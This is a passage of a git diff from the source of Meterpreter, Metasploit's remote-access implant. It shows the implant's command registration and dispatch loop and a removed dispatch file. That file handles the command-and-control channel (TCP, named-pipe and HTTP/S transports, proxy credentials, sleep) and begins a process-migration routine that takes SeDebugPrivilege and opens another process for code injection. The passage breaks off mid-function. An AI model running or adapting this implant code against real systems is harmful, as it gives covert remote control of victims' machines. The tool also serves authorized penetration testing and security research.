*newCommand; + + dprintf("Registering a new command (%s)...", command->method); + if (!(newCommand = (Command *)malloc(sizeof(Command)))) + { + return ERROR_NOT_ENOUGH_MEMORY; + } + + dprintf("Allocated memory..."); + memcpy(newCommand, command, sizeof(Command)); + + dprintf("Setting new command..."); + if (extensionCommands) + { + extensionCommands->prev = newCommand; + } + + dprintf("Fixing next/prev... %p", newCommand); + newCommand->next = extensionCommands; + newCommand->prev = NULL; + extensionCommands = newCommand; + + dprintf("Done..."); + return ERROR_SUCCESS; +} + +/*! + * @brief Deregister a full list of commands from meterpreter. + * @param commands The array of commands that are to be deregistered from the module/extension. + */ +void command_deregister_all(Command commands[]) +{ + DWORD index; + + for (index = 0; commands[index].method; index++) + { + command_deregister(&commands[index]); + } +} + +/*! + * @brief Dynamically deregister a custom command handler + * @param command Pointer to the command that should be deregistered. + * @return `ERROR_SUCCESS` when command deregisters successfully, otherwise returns the error. + */ +DWORD command_deregister(Command *command) +{ + Command *current, *prev; + DWORD res = ERROR_NOT_FOUND; + + // Search the extension list for the command + for (current = extensionCommands, prev = NULL; + current; + prev = current, current = current->next) + { + if (strcmp(command->method, current->method)) + continue; + + if (prev) + { + prev->next = current->next; + } + else + { + extensionCommands = current->next; + } + + if (current->next) + { + current->next->prev = prev; + } + + // Deallocate it + free(current); + + res = ERROR_SUCCESS; + + break; + } + + return res; +} + +/*! @brief A list of all command threads currenlty executing. */ +LIST * commandThreadList = NULL; + +/*! + * @brief Block untill all running command threads have finished. + */ +VOID command_join_threads(VOID) +{ + while (list_count(commandThreadList) > 0) + { + THREAD * thread = (THREAD *)list_get(commandThreadList, 0); + if (thread) + { + thread_join(thread); + } + } +} + +/*! + * @brief Process a command directly on the current thread. + * @param baseCommand Pointer to the \c Command in the base command list to be executed. + * @param extensionCommand Pointer to the \c Command in the extension command list to be executed. + * @param remote Pointer to the \c Remote endpoint for this command. + * @param packet Pointer to the \c Packet containing the command detail. + * @returns Boolean value indicating if the server should continue processing. + * @retval TRUE The server can and should continue processing. + * @retval FALSE The server should stop processing and shut down. + * @sa command_handle + * @sa command_process_thread + * @remarks The \c baseCommand is always executed first, but if there is an \c extensionCommand + * then the result of the \c baseCommand processing is ignored and the result of + * \c extensionCommand is returned instead. + */ +BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Remote *remote, Packet *packet) +{ + DWORD result; + BOOL serverContinue = TRUE; + Tlv requestIdTlv; + PCHAR requestId; + PacketTlvType packetTlvType; + Command *commands[2] = { baseCommand, extensionCommand }; + Command *command = NULL; + DWORD dwIndex; + LPCSTR lpMethod = NULL; + + __try + { + do + { + for (dwIndex = 0; dwIndex < 2; ++dwIndex) + { + command = commands[dwIndex]; + + if (command == NULL) + { + continue; + } + + lpMethod = command->method; + dprintf("[COMMAND] Executing command %s", lpMethod); + + // Impersonate the thread token if needed (only on Windows) + if (remote->server_token != remote->thread_token) + { + if (!ImpersonateLoggedOnUser(remote->thread_token)) + { + dprintf("[COMMAND] Failed to impersonate thread token (%s) (%u)", lpMethod, GetLastError()); + } + } + + // Validate the arguments, if requested. Always make sure argument + // lengths are sane. + if (command_validate_arguments(command, packet) != ERROR_SUCCESS) + { + dprintf("[COMMAND] Command arguments failed to validate"); + continue; + } + + packetTlvType = packet_get_type(packet); + dprintf("[DISPATCH] Packet type for %s is %u", lpMethod, packetTlvType); + switch (packetTlvType) + { + case PACKET_TLV_TYPE_REQUEST: + case PACKET_TLV_TYPE_PLAIN_REQUEST: + if (command->request.inline_handler) { + dprintf("[DISPATCH] executing inline request handler %s", lpMethod); + serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue; + dprintf("[DISPATCH] executed %s, continue %s", lpMethod, serverContinue ? "yes" : "no"); + } + else + { + dprintf("[DISPATCH] executing request handler %s", lpMethod); + result = command->request.handler(remote, packet); + } + break; + case PACKET_TLV_TYPE_RESPONSE: + case PACKET_TLV_TYPE_PLAIN_RESPONSE: + if (command->response.inline_handler) + { + dprintf("[DISPATCH] executing inline response handler %s", lpMethod); + serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue; + } + else + { + dprintf("[DISPATCH] executing response handler %s", lpMethod); + result = command->response.handler(remote, packet); + } + break; + } + } + + dprintf("[COMMAND] Calling completion handlers..."); + + // Get the request identifier if the packet has one. + if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestIdTlv) == ERROR_SUCCESS) + { + requestId = (PCHAR)requestIdTlv.buffer; + } + + // Finally, call completion routines for the provided identifier + if (((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId) + { + packet_call_completion_handlers(remote, packet, requestId); + } + + dprintf("[COMMAND] Completion handlers finished for %s.", lpMethod); + } while (0); + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + dprintf("[COMMAND] Exception hit in command %s", lpMethod); + } + + if (!packet->local) + { + dprintf("[COMMAND] Packet is not local, destroying"); + packet_destroy(packet); + dprintf("[COMMAND] Packet destroyed"); + } + + dprintf("[COMMAND] Command processing finishing. Returning: %s", (serverContinue ? "TRUE" : "FALSE")); + return serverContinue; +} + +/*! + * @brief Attempt to locate a command in the base command list. + * @param method String that identifies the command. + * @returns Pointer to the command entry in the base command list. + * @retval NULL Indicates that no command was found for the given method. + * @retval NON-NULL Pointer to the command that can be executed. + */ +Command* command_locate_base(const char* method) +{ + DWORD index; + + dprintf("[COMMAND EXEC] Attempting to locate base command %s", method); + for (index = 0; baseCommands[index].method; ++index) + { + if (strcmp(baseCommands[index].method, method) == 0) + { + return &baseCommands[index]; + } + } + + dprintf("[COMMAND EXEC] Couldn't find base command %s", method); + return NULL; +} + +/*! + * @brief Attempt to locate a command in the extensions command list. + * @param method String that identifies the command. + * @returns Pointer to the command entry in the extensions command list. + * @retval NULL Indicates that no command was found for the given method. + * @retval NON-NULL Pointer to the command that can be executed. + */ +Command* command_locate_extension(const char* method) +{ + Command* command; + + dprintf("[COMMAND EXEC] Attempting to locate extension command %s (%p)", method, extensionCommands); + for (command = extensionCommands; command; command = command->next) + { + if (strcmp(command->method, method) == 0) + { + return command; + } + } + + dprintf("[COMMAND EXEC] Couldn't find extension command %s", method); + return NULL; +} + +/*! + * @brief Handle an incoming command. + * @param remote Pointer to the \c Remote instance associated with this command. + * @param packet Pointer to the \c Packet containing the command data. + * @retval TRUE The server can and should continue processing. + * @retval FALSE The server should stop processing and shut down. + * @remark This function was incorporate to help support two things in meterpreter: + * -# A way of allowing a command to be processed directly on the main server + * thread and not on another thread (which in some cases can cause problems). + * -# A cleaner way of shutting down the server so that container processes + * can shutdown cleanly themselves, where appropriate. + * + * This function will look at the command definition and determine if it should + * be executed inline or on a new command thread. + * @sa command_process_inline + * @sa command_process_thread + */ +BOOL command_handle(Remote *remote, Packet *packet) +{ + BOOL result = TRUE; + THREAD* cpt = NULL; + Command* baseCommand = NULL; + Command* extensionCommand = NULL; + Command** commands = NULL; + Packet* response = NULL; + PCHAR lpMethod = NULL; + Tlv methodTlv; + + do + { + if (packet_get_tlv_string(packet, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + dprintf("[COMMAND] Unable to extract method from packet."); + break; + } + + lpMethod = (PCHAR)methodTlv.buffer; + + baseCommand = command_locate_base(lpMethod); + extensionCommand = command_locate_extension(lpMethod); + + if (baseCommand == NULL && extensionCommand == NULL) + { + dprintf("[DISPATCH] Command not found: %s", lpMethod); + // We have no matching command for this packet, so it won't get handled. We + // need to send an empty response and clean up here before exiting out. + response = packet_create_response(packet); + if (packet->local) + { + packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_NOT_SUPPORTED); + } + else + { + packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response); + packet_destroy(packet); + } + break; + } + + // if either command is registered as inline, run them inline + if ((baseCommand && command_is_inline(baseCommand, packet)) + || (extensionCommand && command_is_inline(extensionCommand, packet)) + || packet->local) + { + dprintf("[DISPATCH] Executing inline: %s", lpMethod); + result = command_process_inline(baseCommand, extensionCommand, remote, packet); + dprintf("[DISPATCH] Executed inline: result %u (%x)", result, result); + } + else + { + dprintf("[DISPATCH] Executing in thread: %s", lpMethod); + + commands = (Command**)malloc(sizeof(Command*) * 2); + *commands = baseCommand; + *(commands + 1) = extensionCommand; + + cpt = thread_create(command_process_thread, remote, packet, commands); + if (cpt) + { + dprintf("[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle); + thread_run(cpt); + } + } + } while (0); + + return result; +} + +/*! + * @brief Process a single command in a seperate thread of execution. + * @param thread Pointer to the thread to execute. + * @return Result of thread execution (not the result of the command). + * @sa command_handle + * @sa command_process_inline + */ +DWORD THREADCALL command_process_thread(THREAD * thread) +{ + Command** commands = NULL; + Remote * remote = NULL; + Packet * packet = NULL; + + dprintf("[COMMAND] executing in thread %p", thread); + + if (thread == NULL) + { + return ERROR_INVALID_HANDLE; + } + + remote = (Remote *)thread->parameter1; + if (remote == NULL) + { + return ERROR_INVALID_HANDLE; + } + + packet = (Packet *)thread->parameter2; + if (packet == NULL) + { + return ERROR_INVALID_DATA; + } + + commands = (Command**)thread->parameter3; + if (commands == NULL) + { + return ERROR_INVALID_DATA; + } + + if (commandThreadList == NULL) + { + commandThreadList = list_create(); + if (commandThreadList == NULL) + { + return ERROR_INVALID_HANDLE; + } + } + + list_add(commandThreadList, thread); + + // invoke processing inline, passing in both commands + dprintf("[COMMAND] About to execute inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1)); + command_process_inline(*commands, *(commands + 1), remote, packet); + dprintf("[COMMAND] Executed inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1)); + + if (list_remove(commandThreadList, thread)) + { + thread_destroy(thread); + } + + // free things up now that the command stuff has been finished + dprintf("[COMMAND] Cleaning up commands"); + free(commands); + + return ERROR_SUCCESS; +} + +/*! + * @brief Determine if a given command/packet combination should be invoked inline. + * @param command Pointer to the \c Command being invoked. + * @param packet Pointer to the \c Packet being received/sent. + * @returns Boolean indication of whether the command should be executed inline. + * @retval TRUE The command should be executed inline on the current thread. + * @retval FALSE The command should be executed on a new thread. + */ +BOOL command_is_inline( Command *command, Packet *packet ) +{ + switch (packet_get_type( packet )) + { + case PACKET_TLV_TYPE_REQUEST: + case PACKET_TLV_TYPE_PLAIN_REQUEST: + if (command->request.inline_handler) + return TRUE; + case PACKET_TLV_TYPE_RESPONSE: + case PACKET_TLV_TYPE_PLAIN_RESPONSE: + if (command->response.inline_handler) + return TRUE; + } + + return FALSE; +} + +/*! + * @brief Validate command arguments + * @return Indication of whether the commands are valid or not. + * @retval ERROR_SUCCESS All arguments are valid. + * @retval ERROR_INVALID_PARAMETER An invalid parameter exists. + */ +DWORD command_validate_arguments(Command *command, Packet *packet) +{ + PacketDispatcher *dispatcher = NULL; + PacketTlvType type = packet_get_type(packet); + DWORD res = ERROR_SUCCESS, + packetIndex, commandIndex; + Tlv current; + + // Select the dispatcher table + if ((type == PACKET_TLV_TYPE_RESPONSE) || + (type == PACKET_TLV_TYPE_PLAIN_RESPONSE)) + dispatcher = &command->response; + else + dispatcher = &command->request; + + // Enumerate the arguments, validating the meta types of each + for (commandIndex = 0, packetIndex = 0; + ((packet_enum_tlv(packet, packetIndex, TLV_TYPE_ANY, ¤t) == ERROR_SUCCESS) + && (res == ERROR_SUCCESS)); + commandIndex++, packetIndex++) + { + TlvMetaType tlvMetaType; + + // Check to see if we've reached the end of the command arguments + if ((dispatcher->numArgumentTypes) && + (commandIndex == (dispatcher->numArgumentTypes & ARGUMENT_FLAG_MASK))) + { + // If the repeat flag is set, reset the index + if (commandIndex & ARGUMENT_FLAG_REPEAT) + commandIndex = 0; + else + break; + } + + // Make sure the argument is at least one of the meta types + tlvMetaType = packet_get_tlv_meta(packet, ¤t); + + // Validate argument meta types + switch (tlvMetaType) + { + case TLV_META_TYPE_STRING: + if (packet_is_tlv_null_terminated(¤t) != ERROR_SUCCESS) + { + dprintf("[COMMAND] string is not null terminated"); + res = ERROR_INVALID_PARAMETER; + } + break; + default: + break; + } + + if ((res != ERROR_SUCCESS) && + (commandIndex < dispatcher->numArgumentTypes)) + break; + } + + return res; +} diff --git a/c/meterpreter/source/metsrv/base.h b/c/meterpreter/source/metsrv/base.h new file mode 100644 index 00000000..6f06f5b9 --- /dev/null +++ b/c/meterpreter/source/metsrv/base.h @@ -0,0 +1,17 @@ +/*! + * @file base.h + * @brief Declarations, macros and types that apply to almost any Meterpreter component. + */ +#ifndef _METERPRETER_METSRV_BASE_H +#define _METERPRETER_METSRV_BASE_H + +#include "core.h" + +void command_register_all(Command commands[]); +void command_deregister_all(Command commands[]); +DWORD command_register(Command *command); +DWORD command_deregister(Command *command); +VOID command_join_threads( VOID ); +BOOL command_handle( Remote *remote, Packet *packet ); + +#endif diff --git a/c/meterpreter/source/common/arch/win/i386/base_dispatch.c b/c/meterpreter/source/metsrv/base_dispatch.c old mode 100755 new mode 100644 similarity index 61% rename from c/meterpreter/source/common/arch/win/i386/base_dispatch.c rename to c/meterpreter/source/metsrv/base_dispatch.c index 64907088..898dd23a --- a/c/meterpreter/source/common/arch/win/i386/base_dispatch.c +++ b/c/meterpreter/source/metsrv/base_dispatch.c @@ -1,779 +1,1385 @@ -#include "common.h" -#include "base_inject.h" -#include "../../../config.h" - -DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBuffer) -{ - *contextBuffer = (LPCOMMONMIGRATECONTEXT)calloc(1, sizeof(COMMONMIGRATECONTEXT)); - - if (*contextBuffer == NULL) - { - return ERROR_OUTOFMEMORY; - } - - *contextSize = sizeof(COMMONMIGRATECONTEXT); - - return ERROR_SUCCESS; -} - -DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) -{ - DWORD result = ERROR_NOT_ENOUGH_MEMORY; - Transport* transport = NULL; - wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); - - TimeoutSettings timeouts = { 0 }; - - int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); - timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); - timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); - timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); - - // special case, will still leave this in here even if it's not transport related - if (sessionExpiry != 0) - { - remote->sess_expiry_time = sessionExpiry; - remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time; - } - - if (timeouts.comms == 0) - { - timeouts.comms = remote->transport->timeouts.comms; - } - if (timeouts.retry_total == 0) - { - timeouts.retry_total = remote->transport->timeouts.retry_total; - } - if (timeouts.retry_wait == 0) - { - timeouts.retry_wait = remote->transport->timeouts.retry_wait; - } - - dprintf("[CHANGE TRANS] Url: %S", transportUrl); - dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); - dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); - dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); - - do - { - if (transportUrl == NULL) - { - dprintf("[CHANGE TRANS] Something was NULL"); - break; - } - - if (wcsncmp(transportUrl, L"tcp", 3) == 0) - { - MetsrvTransportTcp config = { 0 }; - config.common.comms_timeout = timeouts.comms; - config.common.retry_total = timeouts.retry_total; - config.common.retry_wait = timeouts.retry_wait; - memcpy(config.common.url, transportUrl, sizeof(config.common.url)); - transport = remote->trans_create(remote, &config.common, NULL); - } - else if (wcsncmp(transportUrl, L"pipe", 4) == 0) - { - MetsrvTransportNamedPipe config = { 0 }; - config.common.comms_timeout = timeouts.comms; - config.common.retry_total = timeouts.retry_total; - config.common.retry_wait = timeouts.retry_wait; - memcpy(config.common.url, transportUrl, sizeof(config.common.url)); - transport = remote->trans_create(remote, &config.common, NULL); - } - else - { - BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0; - wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA); - wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST); - wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER); - wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS); - PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); - wchar_t* headers = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_HEADERS); - - size_t configSize = sizeof(MetsrvTransportHttp); - if (headers) - { - // this already caters for the null byte because it's included in the structure. - configSize += wcslen(headers); - } - - MetsrvTransportHttp* config = (MetsrvTransportHttp*)calloc(1, configSize); - config->common.comms_timeout = timeouts.comms; - config->common.retry_total = timeouts.retry_total; - config->common.retry_wait = timeouts.retry_wait; - wcsncpy(config->common.url, transportUrl, URL_SIZE); - - if (proxy) - { - wcsncpy(config->proxy.hostname, proxy, PROXY_HOST_SIZE); - free(proxy); - } - - if (proxyUser) - { - wcsncpy(config->proxy.username, proxyUser, PROXY_USER_SIZE); - free(proxyUser); - } - - if (proxyPass) - { - wcsncpy(config->proxy.password, proxyPass, PROXY_PASS_SIZE); - free(proxyPass); - } - - if (ua) - { - wcsncpy(config->ua, ua, UA_SIZE); - free(ua); - } - - if (certHash) - { - memcpy(config->ssl_cert_hash, certHash, CERT_HASH_SIZE); - // No need to free this up as it's not a wchar_t - } - - if (headers) - { - wcscpy(config->custom_headers, headers); - } - - transport = remote->trans_create(remote, &config->common, NULL); - - free(config); - } - - // tell the server dispatch to exit, it should pick up the new transport - result = ERROR_SUCCESS; - } while (0); - - *transportBufer = transport; - - return result; -} - -DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - Packet* response = NULL; - - do - { - response = packet_create_response(packet); - - if (!response) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the session timeout to the top level - packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); - - Transport* current = remote->transport; - Transport* first = remote->transport; - - do - { - Packet* transportGroup = packet_create_group(); - - if (!transportGroup) - { - // bomb out, returning what we have so far. - break; - } - - dprintf("[DISPATCH] Adding URL %S", current->url); - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url); - dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms); - dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total); - dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait); - - switch (current->type) - { - case METERPRETER_TRANSPORT_HTTP: - case METERPRETER_TRANSPORT_HTTPS: - { - HttpTransportContext* ctx = (HttpTransportContext*)current->ctx; - dprintf("[DISPATCH] Transport is HTTP/S"); - if (ctx->ua) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua); - } - if (ctx->proxy) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy); - } - if (ctx->proxy_user) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user); - } - if (ctx->proxy_pass) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass); - } - if (ctx->cert_hash) - { - packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); - } - if (ctx->custom_headers && ctx->custom_headers[0]) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_HEADERS, ctx->custom_headers); - } - break; - } - } - - packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup); - - current = current->next_transport; - } while (first != current); - } while (0); - - if (response) - { - packet_transmit_response(result, remote, response); - } - - return result; -} - -BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result) -{ - dprintf("[DISPATCH] Asking to go to next transport (from 0x%p to 0x%p)", remote->transport, remote->transport->next_transport); - if (remote->transport == remote->transport->next_transport) - { - dprintf("[DISPATCH] Transports are the same, don't do anything"); - // if we're switching to the same thing, don't bother. - *result = ERROR_INVALID_FUNCTION; - } - else - { - dprintf("[DISPATCH] Transports are different, perform the switch"); - remote->next_transport = remote->transport->next_transport; - *result = ERROR_SUCCESS; - } - - packet_transmit_empty_response(remote, packet, *result); - return *result == ERROR_SUCCESS ? FALSE : TRUE; - -} - -BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result) -{ - dprintf("[DISPATCH] Asking to go to previous transport (from 0x%p to 0x%p)", remote->transport, remote->transport->prev_transport); - if (remote->transport == remote->transport->prev_transport) - { - dprintf("[DISPATCH] Transports are the same, don't do anything"); - // if we're switching to the same thing, don't bother. - *result = ERROR_INVALID_FUNCTION; - } - else - { - dprintf("[DISPATCH] Transports are different, perform the switch"); - remote->next_transport = remote->transport->prev_transport; - *result = ERROR_SUCCESS; - } - - packet_transmit_empty_response(remote, packet, *result); - return *result == ERROR_SUCCESS ? FALSE : TRUE; -} - -DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - - // make sure we are not trying to remove the last transport - if (remote->transport == remote->transport->prev_transport) - { - dprintf("[DISPATCH] Refusing to delete the last transport"); - result = ERROR_INVALID_FUNCTION; - } - else - { - Transport* found = NULL; - Transport* transport = remote->transport; - wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); - - do - { - if (wcscmp(transportUrl, transport->url) == 0) - { - found = transport; - break; - } - - transport = transport->next_transport; - } while (transport != remote->transport); - - if (found == NULL || found == remote->transport) - { - dprintf("[DISPATCH] Transport not found, or attempting to remove current"); - // if we don't have a valid transport, or they're trying to remove the - // existing one, then bomb out (that might come later) - result = ERROR_INVALID_PARAMETER; - } - else - { - remote->trans_remove(remote, found); - dprintf("[DISPATCH] Transport removed"); - } - - SAFE_FREE(transportUrl); - } - - packet_transmit_empty_response(remote, packet, result); - dprintf("[DISPATCH] Response sent."); - return result; -} - -DWORD remote_request_core_transport_add(Remote* remote, Packet* packet) -{ - Transport* transport = NULL; - DWORD result = create_transport_from_request(remote, packet, &transport); - - packet_transmit_empty_response(remote, packet, result); - return result; -} - -BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result) -{ - // we'll reuse the comm timeout TLV for this purpose - DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); - - dprintf("[DISPATCH] request received to sleep for %u seconds", seconds); - - // to sleep, we simply jump to the same transport, with a delay - remote->next_transport_wait = seconds; - remote->next_transport = remote->transport; - - packet_transmit_empty_response(remote, packet, ERROR_SUCCESS); - *result = ERROR_SUCCESS; - - // exit out of the dispatch loop - return FALSE; -} - -BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result) -{ - Transport* transport = NULL; - *result = create_transport_from_request(remote, packet, &transport); - - packet_transmit_empty_response(remote, packet, *result); - - if (*result == ERROR_SUCCESS) - { - remote->next_transport = transport; - // exit out of the dispatch loop. - return FALSE; - } - - return TRUE; -} - -/*! - * @brief Set the current hash that is used for SSL certificate verification. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the request packet. - * @returns Indication of success or failure. - */ -DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - Packet* response; - - do - { - response = packet_create_response(packet); - if (!response) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // no setting of the cert hash if the target isn't a HTTPS transport - if (remote->transport->type != METERPRETER_TRANSPORT_HTTPS) - { - result = ERROR_BAD_ENVIRONMENT; - break; - } - - unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - - // Support adding a new cert hash if one doesn't exist - if (!ctx->cert_hash) - { - if (certHash) - { - PBYTE newHash = (unsigned char*)malloc(sizeof(unsigned char)* CERT_HASH_SIZE); - if (!newHash) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - memcpy(newHash, certHash, CERT_HASH_SIZE); - - // Set it at the last minute. Mucking with "globals" and all, want to make sure we - // don't set it too early.. just in case. - ctx->cert_hash = newHash; - } - else - { - // at this time, don't support overwriting of the existing hash - // as that will cause issues! - result = ERROR_BAD_ARGUMENTS; - break; - } - } - // support removal of the existing hash - else - { - if (certHash) - { - result = ERROR_BAD_ARGUMENTS; - break; - } - else - { - SAFE_FREE(ctx->cert_hash); - } - } - - result = ERROR_SUCCESS; - } while (0); - - if (response) - { - packet_transmit_response(result, remote, response); - } - - return result; -} - -/*! - * @brief Get the current hash that is used for SSL certificate verification. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the request packet. - * @returns Indication of success or failure. - */ -DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - Packet* response; - - do - { - response = packet_create_response(packet); - if (!response) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Rather than error out if the transport isn't HTTPS, we'll just return - // an empty response. This prevents a horrible error appearing in the - // MSF console - if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS) - { - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - if (ctx->cert_hash) - { - packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); - } - } - - result = ERROR_SUCCESS; - } while (0); - - if (response) - { - packet_transmit_response(result, remote, response); - } - - return result; -} - -/*! - * @brief Migrate the meterpreter server from the current process into another process. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the request packet. - * @param pResult Pointer to the memory that will receive the result. - * @returns Indication of whether the server should continue processing or not. - */ -BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) -{ - DWORD dwResult = ERROR_SUCCESS; - Packet * response = NULL; - HANDLE hToken = NULL; - HANDLE hProcess = NULL; - HANDLE hEvent = NULL; - BYTE * lpPayloadBuffer = NULL; - LPVOID lpMigrateStub = NULL; - LPBYTE lpMemory = NULL; - LPBYTE lpUuid = NULL; - LPCOMMONMIGRATECONTEXT ctx = NULL; - DWORD ctxSize = 0; - DWORD dwMigrateStubLength = 0; - DWORD dwPayloadLength = 0; - DWORD dwProcessID = 0; - DWORD dwDestinationArch = 0; - - MetsrvConfig* config = NULL; - DWORD configSize = 0; - - do - { - response = packet_create_response(packet); - if (!response) - { - dwResult = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Get the process identifier to inject into - dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); - - // Get the target process architecture to inject into - dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); - - // Get the length of the payload buffer - dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN); - - // Receive the actual migration payload buffer - lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); - - // Get handles to the updated UUIDs if they're there - lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); - - // Get the migrate stub information - dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN); - lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB); - - dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); - - // If we can, get SeDebugPrivilege... - if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) - { - TOKEN_PRIVILEGES priv = { 0 }; - - priv.PrivilegeCount = 1; - priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) - { - if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); - { - dprintf("[MIGRATE] Got SeDebugPrivilege!"); - } - } - - CloseHandle(hToken); - } - - // Open the process so that we can migrate into it - hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); - if (!hProcess) - { - BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") - } - - // get the existing configuration - dprintf("[MIGRATE] creating the configuration block"); - remote->config_create(remote, lpUuid, &config, &configSize); - dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); - - if (remote->transport->get_migrate_context != NULL) - { - dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx); - } - else - { - dwResult = get_migrate_context(&ctxSize, &ctx); - } - - if (dwResult != ERROR_SUCCESS) - { - dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult); - break; - } - - // Create a notification event that we'll use to know 